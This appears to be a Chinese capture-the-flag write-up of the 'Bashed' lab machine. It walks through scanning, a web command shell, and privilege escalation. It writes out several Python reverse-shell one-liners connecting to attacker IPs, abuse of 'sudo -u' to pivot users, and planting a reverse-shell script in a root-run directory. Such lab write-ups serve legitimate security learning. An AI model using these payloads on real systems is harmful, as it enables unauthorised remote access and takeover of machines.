bashed(命令执行+权限错误)

端口探测:

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

100/tcp filtered newacct

1500/tcp filtered vlsi-lm

web目录探测:
图片一:
/config.php: PHP Config file may contain database IDs and passwords.

  • OSVDB-3268: /dev/: Directory indexing found.

  • OSVDB-3092: /dev/: This might be interesting…

  • OSVDB-3268: /php/: Directory indexing found.

  • OSVDB-3092: /php/: This might be interesting…

在“dev/”目录下找到php文件

尝试bash -i 反弹shell,失败,bash版本不适合。尝试nc -e反弹shell,nc版本不支持-e参数。

用python成功反弹了一个shell(shell 1)给kali。

kali上监听nc -lnvp 1234
网页上运行python命令:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.137",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

信息搜集:

普通用户
arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash
内核版本:
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
系统版本:Ubuntu 16.04.2 LTS \n \l

尝试内核漏洞提权:

有内核漏洞,但gcc没有安装。

该怎么提权呢?

现在用户是www-data

尝试cd /home/arrexel,看到了user.txt,获取到flag。。

我还以为会有forbidden权限不够的情况。。。怎么回事,权限没划分好么?


可以看到有三列,都是r——read,分别对应”文件所有者、组群、非组群“,因为非组群的权限是read,所以可读。然后再尝试下rm删除,果然”rm: cannot remove ‘a’: Permission denied“

/home/scriptmanager目录下,有个脚本,说是检查linux提权的。运行后指出了一些可以运行的exp来提权

但是没有gcc,有exp也没用啊!

writeup

sudo -u username的用法

-u username不加此参数,代表要以root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)

用shell 1运行如下命令,得到shell 2

1
sudo -u scriptmanager python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.109",1235));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


用sudo反弹了一个scriptmanager用户的shell。
在/scripts目录下,发现了它有root权限,于是我们在该目录下建立一个py脚本。
nc -lvnp 1236
touch pri.py

1
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.137",1236));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > pri.py

总结:
这个实验用了很多次python反弹shell。
用sudo -u username可以用其他用户来运行命令。
本次利用的scripts文件夹会自动运行常用的脚本,从而运行我们加入的反弹shell的py脚本。

注意:用户权限设置的注释下面,有一行NOPASSWD: ALL 说明用户使用sudo命令时,无需输入密码。